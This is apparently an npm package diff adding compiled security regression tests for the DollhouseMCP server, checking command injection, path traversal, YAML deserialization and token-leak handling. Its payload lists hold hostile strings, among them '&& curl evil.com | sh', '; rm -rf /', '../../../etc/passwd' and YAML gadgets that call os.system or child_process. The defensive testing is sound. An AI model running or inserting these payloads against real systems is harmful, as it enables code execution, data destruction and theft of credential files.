@dollhousemcp/mcp-server 1.3.0

package/dist/test/test/__tests__/security/framework/RapidSecurityTesting.js

@@ -0,0 +1,224 @@
+/**
+ * Rapid Security Testing for CI/CD
+ * Focuses on critical vulnerabilities that can be tested quickly
+ */
+import { DollhouseMCPServer } from '../../../../src/index.js';
+export class RapidSecurityTesting {
+    results = [];
+    server;
+    constructor() {
+        this.server = new DollhouseMCPServer();
+    }
+    /**
+     * Run critical security tests only
+     * Target: < 30 seconds total runtime
+     */
+    async runCriticalTests() {
+        const tests = [
+            this.testCommandInjection(),
+            this.testPathTraversal(),
+            this.testYamlDeserialization(),
+            this.testTokenExposure()
+        ];
+        this.results = await Promise.all(tests);
+        return this.results;
+    }
+    /**
+     * Generate security report
+     */
+    generateReport() {
+        const critical = this.results.filter(r => r.severity === 'CRITICAL');
+        const failed = this.results.filter(r => !r.passed);
+        const totalTime = this.results.reduce((sum, r) => sum + r.duration, 0);
+        return `
+# Security Test Report
+
+## Summary
+- Total Tests: ${this.results.length}
+- Failed: ${failed.length}
+- Critical Issues: ${critical.filter(r => !r.passed).length}
+- Total Time: ${totalTime}ms
+
+## Failed Tests
+${failed.map(r => `- [${r.severity}] ${r.test}: ${r.error}`).join('\n')}
+
+## Test Details
+${this.results.map(r => `
+### ${r.test}
+- Status: ${r.passed ? '✅ PASSED' : '❌ FAILED'}
+- Severity: ${r.severity}
+- Duration: ${r.duration}ms
+${r.error ? `- Error: ${r.error}` : ''}
+`).join('\n')}
+`;
+    }
+    async testCommandInjection() {
+        const start = Date.now();
+        try {
+            // Test critical command injection payloads
+            const criticalPayloads = [
+                '; rm -rf /',
+                '&& curl evil.com | sh',
+                '`touch /tmp/pwned`'
+            ];
+            for (const payload of criticalPayloads) {
+                // Test create_persona with injection
+                const result = await this.server.createPersona(payload, 'test', 'test', 'test instructions');
+                // Check that dangerous payload was sanitized
+                const content = JSON.stringify(result);
+                if (content.includes(payload) || content.match(/[;&|`$()]/)) {
+                    throw new Error(`Command injection not properly blocked: ${payload}`);
+                }
+            }
+            return {
+                test: 'Command Injection Prevention',
+                passed: true,
+                severity: 'CRITICAL',
+                duration: Date.now() - start
+            };
+        }
+        catch (error) {
+            return {
+                test: 'Command Injection Prevention',
+                passed: false,
+                severity: 'CRITICAL',
+                error: error instanceof Error ? error.message : String(error),
+                duration: Date.now() - start
+            };
+        }
+    }
+    async testPathTraversal() {
+        const start = Date.now();
+        try {
+            // Test critical path traversal attempts
+            const traversalPayloads = [
+                '../../../etc/passwd',
+                '..\\..\\..\\windows\\system32\\config\\sam',
+                'personas/../../../sensitive.txt'
+            ];
+            for (const payload of traversalPayloads) {
+                // Test get_persona_details with path traversal
+                const result = await this.server.getPersonaDetails(payload);
+                // Should not access files outside allowed paths
+                const content = JSON.stringify(result);
+                if (!content.match(/not found|invalid|does not exist/i)) {
+                    throw new Error(`Path traversal not blocked: ${payload}`);
+                }
+                if (content.includes('/etc/passwd') || content.includes('system32')) {
+                    throw new Error(`Path traversal exposed sensitive path: ${payload}`);
+                }
+            }
+            return {
+                test: 'Path Traversal Prevention',
+                passed: true,
+                severity: 'CRITICAL',
+                duration: Date.now() - start
+            };
+        }
+        catch (error) {
+            return {
+                test: 'Path Traversal Prevention',
+                passed: false,
+                severity: 'CRITICAL',
+                error: error instanceof Error ? error.message : String(error),
+                duration: Date.now() - start
+            };
+        }
+    }
+    async testYamlDeserialization() {
+        const start = Date.now();
+        try {
+            // Test dangerous YAML constructs
+            const yamlPayloads = [
+                '!!js/function "function(){require(\'child_process\').exec(\'calc.exe\')}"',
+                '!!python/object/apply:os.system ["rm -rf /"]'
+            ];
+            for (const payload of yamlPayloads) {
+                const result = await this.server.createPersona('YAMLTest', payload, 'test', payload);
+                // Check dangerous YAML was sanitized
+                const content = JSON.stringify(result);
+                if (content.includes('!!js/function') ||
+                    content.includes('!!python/object') ||
+                    content.includes('__proto__')) {
+                    throw new Error(`YAML injection not blocked: ${payload}`);
+                }
+            }
+            return {
+                test: 'YAML Deserialization Safety',
+                passed: true,
+                severity: 'CRITICAL',
+                duration: Date.now() - start
+            };
+        }
+        catch (error) {
+            return {
+                test: 'YAML Deserialization Safety',
+                passed: false,
+                severity: 'CRITICAL',
+                error: error instanceof Error ? error.message : String(error),
+                duration: Date.now() - start
+            };
+        }
+    }
+    async testTokenExposure() {
+        const start = Date.now();
+        try {
+            // Test that tokens are not exposed in errors or logs
+            const fakeToken = 'ghp_1234567890abcdefghijklmnopqrstuvwxyz';
+            process.env.GITHUB_TOKEN = fakeToken;
+            try {
+                // Trigger an error that might expose the token
+                // Use the collectionBrowser directly to test token exposure
+                const collectionBrowser = this.server.collectionBrowser;
+                if (collectionBrowser) {
+                    await collectionBrowser.browse('library', '../../../invalid');
+                }
+            }
+            catch (err) {
+                // Check error doesn't contain token
+                const errorMessage = err instanceof Error ? err.message : String(err);
+                const errorStack = err instanceof Error ? err.stack : '';
+                if (errorMessage.includes(fakeToken) || errorStack?.includes(fakeToken)) {
+                    throw new Error('GitHub token exposed in error message');
+                }
+            }
+            // Clean up
+            delete process.env.GITHUB_TOKEN;
+            return {
+                test: 'Token Security',
+                passed: true,
+                severity: 'HIGH',
+                duration: Date.now() - start
+            };
+        }
+        catch (error) {
+            delete process.env.GITHUB_TOKEN;
+            return {
+                test: 'Token Security',
+                passed: false,
+                severity: 'HIGH',
+                error: error instanceof Error ? error.message : String(error),
+                duration: Date.now() - start
+            };
+        }
+    }
+}
+/**
+ * Pre-commit hook integration
+ */
+export async function preCommitSecurityCheck() {
+    console.log('🔒 Running rapid security checks...');
+    const tester = new RapidSecurityTesting();
+    const results = await tester.runCriticalTests();
+    const failed = results.filter(r => !r.passed);
+    if (failed.length > 0) {
+        console.error('❌ Security check failed:');
+        failed.forEach(r => {
+            console.error(`  - ${r.test}: ${r.error}`);
+        });
+        return false;
+    }
+    console.log('✅ All security checks passed');
+    return true;
+}
+//# sourceMappingURL=data:application/json;base64,{"version":3,"file":"RapidSecurityTesting.js","sourceRoot":"","sources":["../../../../../../test/__tests__/security/framework/RapidSecurityTesting.ts"],"names":[],"mappings":"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","sourcesContent":["/**\n * Rapid Security Testing for CI/CD\n * Focuses on critical vulnerabilities that can be tested quickly\n */\n\nimport { SecurityTestFramework } from './SecurityTestFramework.js';\nimport { DollhouseMCPServer } from '../../../../src/index.js';\n\nexport interface SecurityTestResult {\n  test: string;\n  passed: boolean;\n  severity: 'CRITICAL' | 'HIGH' | 'MEDIUM';\n  error?: string;\n  duration: number;\n}\n\nexport class RapidSecurityTesting {\n  private results: SecurityTestResult[] = [];\n  private server: DollhouseMCPServer;\n  \n  constructor() {\n    this.server = new DollhouseMCPServer();\n  }\n  \n  /**\n   * Run critical security tests only\n   * Target: < 30 seconds total runtime\n   */\n  async runCriticalTests(): Promise<SecurityTestResult[]> {\n    const tests = [\n      this.testCommandInjection(),\n      this.testPathTraversal(),\n      this.testYamlDeserialization(),\n      this.testTokenExposure()\n    ];\n    \n    this.results = await Promise.all(tests);\n    return this.results;\n  }\n  \n  /**\n   * Generate security report\n   */\n  generateReport(): string {\n    const critical = this.results.filter(r => r.severity === 'CRITICAL');\n    const failed = this.results.filter(r => !r.passed);\n    const totalTime = this.results.reduce((sum, r) => sum + r.duration, 0);\n    \n    return `\n# Security Test Report\n\n## Summary\n- Total Tests: ${this.results.length}\n- Failed: ${failed.length}\n- Critical Issues: ${critical.filter(r => !r.passed).length}\n- Total Time: ${totalTime}ms\n\n## Failed Tests\n${failed.map(r => `- [${r.severity}] ${r.test}: ${r.error}`).join('\\n')}\n\n## Test Details\n${this.results.map(r => `\n### ${r.test}\n- Status: ${r.passed ? '✅ PASSED' : '❌ FAILED'}\n- Severity: ${r.severity}\n- Duration: ${r.duration}ms\n${r.error ? `- Error: ${r.error}` : ''}\n`).join('\\n')}\n`;\n  }\n  \n  private async testCommandInjection(): Promise<SecurityTestResult> {\n    const start = Date.now();\n    try {\n      // Test critical command injection payloads\n      const criticalPayloads = [\n        '; rm -rf /',\n        '&& curl evil.com | sh',\n        '`touch /tmp/pwned`'\n      ];\n      \n      for (const payload of criticalPayloads) {\n        // Test create_persona with injection\n        const result = await this.server.createPersona(\n          payload,\n          'test',\n          'test',\n          'test instructions'\n        );\n        \n        // Check that dangerous payload was sanitized\n        const content = JSON.stringify(result);\n        if (content.includes(payload) || content.match(/[;&|`$()]/)) {\n          throw new Error(`Command injection not properly blocked: ${payload}`);\n        }\n      }\n      \n      return {\n        test: 'Command Injection Prevention',\n        passed: true,\n        severity: 'CRITICAL',\n        duration: Date.now() - start\n      };\n    } catch (error) {\n      return {\n        test: 'Command Injection Prevention',\n        passed: false,\n        severity: 'CRITICAL',\n        error: error instanceof Error ? error.message : String(error),\n        duration: Date.now() - start\n      };\n    }\n  }\n  \n  private async testPathTraversal(): Promise<SecurityTestResult> {\n    const start = Date.now();\n    try {\n      // Test critical path traversal attempts\n      const traversalPayloads = [\n        '../../../etc/passwd',\n        '..\\\\..\\\\..\\\\windows\\\\system32\\\\config\\\\sam',\n        'personas/../../../sensitive.txt'\n      ];\n      \n      for (const payload of traversalPayloads) {\n        // Test get_persona_details with path traversal\n        const result = await this.server.getPersonaDetails(payload);\n        \n        // Should not access files outside allowed paths\n        const content = JSON.stringify(result);\n        if (!content.match(/not found|invalid|does not exist/i)) {\n          throw new Error(`Path traversal not blocked: ${payload}`);\n        }\n        if (content.includes('/etc/passwd') || content.includes('system32')) {\n          throw new Error(`Path traversal exposed sensitive path: ${payload}`);\n        }\n      }\n      \n      return {\n        test: 'Path Traversal Prevention',\n        passed: true,\n        severity: 'CRITICAL',\n        duration: Date.now() - start\n      };\n    } catch (error) {\n      return {\n        test: 'Path Traversal Prevention',\n        passed: false,\n        severity: 'CRITICAL',\n        error: error instanceof Error ? error.message : String(error),\n        duration: Date.now() - start\n      };\n    }\n  }\n  \n  private async testYamlDeserialization(): Promise<SecurityTestResult> {\n    const start = Date.now();\n    try {\n      // Test dangerous YAML constructs\n      const yamlPayloads = [\n        '!!js/function \"function(){require(\\'child_process\\').exec(\\'calc.exe\\')}\"',\n        '!!python/object/apply:os.system [\"rm -rf /\"]'\n      ];\n      \n      for (const payload of yamlPayloads) {\n        const result = await this.server.createPersona(\n          'YAMLTest',\n          payload,\n          'test',\n          payload\n        );\n        \n        // Check dangerous YAML was sanitized\n        const content = JSON.stringify(result);\n        if (content.includes('!!js/function') || \n            content.includes('!!python/object') ||\n            content.includes('__proto__')) {\n          throw new Error(`YAML injection not blocked: ${payload}`);\n        }\n      }\n      \n      return {\n        test: 'YAML Deserialization Safety',\n        passed: true,\n        severity: 'CRITICAL',\n        duration: Date.now() - start\n      };\n    } catch (error) {\n      return {\n        test: 'YAML Deserialization Safety',\n        passed: false,\n        severity: 'CRITICAL',\n        error: error instanceof Error ? error.message : String(error),\n        duration: Date.now() - start\n      };\n    }\n  }\n  \n  private async testTokenExposure(): Promise<SecurityTestResult> {\n    const start = Date.now();\n    try {\n      // Test that tokens are not exposed in errors or logs\n      const fakeToken = 'ghp_1234567890abcdefghijklmnopqrstuvwxyz';\n      process.env.GITHUB_TOKEN = fakeToken;\n      \n      try {\n        // Trigger an error that might expose the token\n        // Use the collectionBrowser directly to test token exposure\n        const collectionBrowser = (this.server as any).collectionBrowser;\n        if (collectionBrowser) {\n          await collectionBrowser.browse('library', '../../../invalid');\n        }\n      } catch (err) {\n        // Check error doesn't contain token\n        const errorMessage = err instanceof Error ? err.message : String(err);\n        const errorStack = err instanceof Error ? err.stack : '';\n        if (errorMessage.includes(fakeToken) || errorStack?.includes(fakeToken)) {\n          throw new Error('GitHub token exposed in error message');\n        }\n      }\n      \n      // Clean up\n      delete process.env.GITHUB_TOKEN;\n      \n      return {\n        test: 'Token Security',\n        passed: true,\n        severity: 'HIGH',\n        duration: Date.now() - start\n      };\n    } catch (error) {\n      delete process.env.GITHUB_TOKEN;\n      return {\n        test: 'Token Security',\n        passed: false,\n        severity: 'HIGH',\n        error: error instanceof Error ? error.message : String(error),\n        duration: Date.now() - start\n      };\n    }\n  }\n}\n\n/**\n * Pre-commit hook integration\n */\nexport async function preCommitSecurityCheck(): Promise<boolean> {\n  console.log('🔒 Running rapid security checks...');\n  \n  const tester = new RapidSecurityTesting();\n  const results = await tester.runCriticalTests();\n  \n  const failed = results.filter(r => !r.passed);\n  if (failed.length > 0) {\n    console.error('❌ Security check failed:');\n    failed.forEach(r => {\n      console.error(`  - ${r.test}: ${r.error}`);\n    });\n    return false;\n  }\n  \n  console.log('✅ All security checks passed');\n  return true;\n}"]}

package/dist/test/test/__tests__/security/framework/SecurityTestFramework.d.ts

@@ -0,0 +1,89 @@
+/**
+ * Security Test Framework for DollhouseMCP
+ * Provides utilities for testing security vulnerabilities
+ */
+export interface SecurityTestOptions {
+    timeout?: number;
+    category?: 'critical' | 'high' | 'medium' | 'all';
+    parallel?: boolean;
+}
+export interface SecurityTestSuite {
+    name: string;
+    category: 'critical' | 'high' | 'medium';
+    tests: Array<() => Promise<void>>;
+}
+export declare class SecurityTestFramework {
+    private static readonly MALICIOUS_PAYLOADS;
+    /**
+     * Test that a function properly rejects malicious payloads
+     */
+    static testPayloadRejection<T extends (...args: any[]) => any>(fn: T, payloadType: keyof typeof SecurityTestFramework.MALICIOUS_PAYLOADS, argPosition?: number): Promise<void>;
+    /**
+     * Test that file operations are properly sandboxed
+     */
+    static testFileSandbox(fileOperation: (path: string) => Promise<any>, allowedPaths: string[]): Promise<void>;
+    /**
+     * Test rate limiting functionality
+     */
+    static testRateLimit(operation: () => Promise<any>, limit: number, windowMs: number): Promise<void>;
+    /**
+     * Test input sanitization
+     */
+    static testSanitization(sanitizer: (input: string) => string, expectations: Array<{
+        input: string;
+        expected: string;
+    }>): void;
+    /**
+     * Create a mock file system for testing
+     */
+    static createMockFileSystem(structure: Record<string, string>): Promise<() => Promise<void>>;
+    /**
+     * Run security test suites based on category
+     */
+    static runSecuritySuite(options?: SecurityTestOptions): Promise<{
+        passed: number;
+        failed: number;
+        duration: number;
+    }>;
+    /**
+     * Get test suites based on category
+     */
+    private static getTestSuites;
+    /**
+     * Test MCP tool for command injection vulnerabilities
+     */
+    private static testMCPToolCommandInjection;
+    /**
+     * Test MCP tool for path traversal vulnerabilities
+     */
+    private static testMCPToolPathTraversal;
+    /**
+     * Test YAML injection prevention
+     */
+    private static testYAMLInjectionPrevention;
+    /**
+     * Test YAML bomb prevention
+     */
+    private static testYAMLBombPrevention;
+    /**
+     * Test input size limits
+     */
+    private static testInputSizeLimits;
+    /**
+     * Test special character handling
+     */
+    private static testSpecialCharacterHandling;
+    /**
+     * Test for timing attacks
+     */
+    static testTimingSafety(operation: (input: string) => Promise<boolean>, validInput: string, invalidInputs: string[]): Promise<void>;
+}
+/**
+ * Performance monitoring for security tests
+ */
+export declare class SecurityTestPerformance {
+    private static startTime;
+    static start(): void;
+    static checkpoint(testName: string): void;
+}
+//# sourceMappingURL=SecurityTestFramework.d.ts.map

package/dist/test/test/__tests__/security/framework/SecurityTestFramework.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"SecurityTestFramework.d.ts","sourceRoot":"","sources":["../../../../../../test/__tests__/security/framework/SecurityTestFramework.ts"],"names":[],"mappings":"AAKA;;;GAGG;AACH,MAAM,WAAW,mBAAmB;IAClC,OAAO,CAAC,EAAE,MAAM,CAAC;IACjB,QAAQ,CAAC,EAAE,UAAU,GAAG,MAAM,GAAG,QAAQ,GAAG,KAAK,CAAC;IAClD,QAAQ,CAAC,EAAE,OAAO,CAAC;CACpB;AAED,MAAM,WAAW,iBAAiB;IAChC,IAAI,EAAE,MAAM,CAAC;IACb,QAAQ,EAAE,UAAU,GAAG,MAAM,GAAG,QAAQ,CAAC;IACzC,KAAK,EAAE,KAAK,CAAC,MAAM,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC;CACnC;AAED,qBAAa,qBAAqB;IAChC,OAAO,CAAC,MAAM,CAAC,QAAQ,CAAC,kBAAkB,CA0CxC;IAEF;;OAEG;WACU,oBAAoB,CAAC,CAAC,SAAS,CAAC,GAAG,IAAI,EAAE,GAAG,EAAE,KAAK,GAAG,EACjE,EAAE,EAAE,CAAC,EACL,WAAW,EAAE,MAAM,OAAO,qBAAqB,CAAC,kBAAkB,EAClE,WAAW,GAAE,MAAU,GACtB,OAAO,CAAC,IAAI,CAAC;IAahB;;OAEG;WACU,eAAe,CAC1B,aAAa,EAAE,CAAC,IAAI,EAAE,MAAM,KAAK,OAAO,CAAC,GAAG,CAAC,EAC7C,YAAY,EAAE,MAAM,EAAE,GACrB,OAAO,CAAC,IAAI,CAAC;IAqBhB;;OAEG;WACU,aAAa,CACxB,SAAS,EAAE,MAAM,OAAO,CAAC,GAAG,CAAC,EAC7B,KAAK,EAAE,MAAM,EACb,QAAQ,EAAE,MAAM,GACf,OAAO,CAAC,IAAI,CAAC;IAuBhB;;OAEG;IACH,MAAM,CAAC,gBAAgB,CACrB,SAAS,EAAE,CAAC,KAAK,EAAE,MAAM,KAAK,MAAM,EACpC,YAAY,EAAE,KAAK,CAAC;QAAE,KAAK,EAAE,MAAM,CAAC;QAAC,QAAQ,EAAE,MAAM,CAAA;KAAE,CAAC,GACvD,IAAI;IAOP;;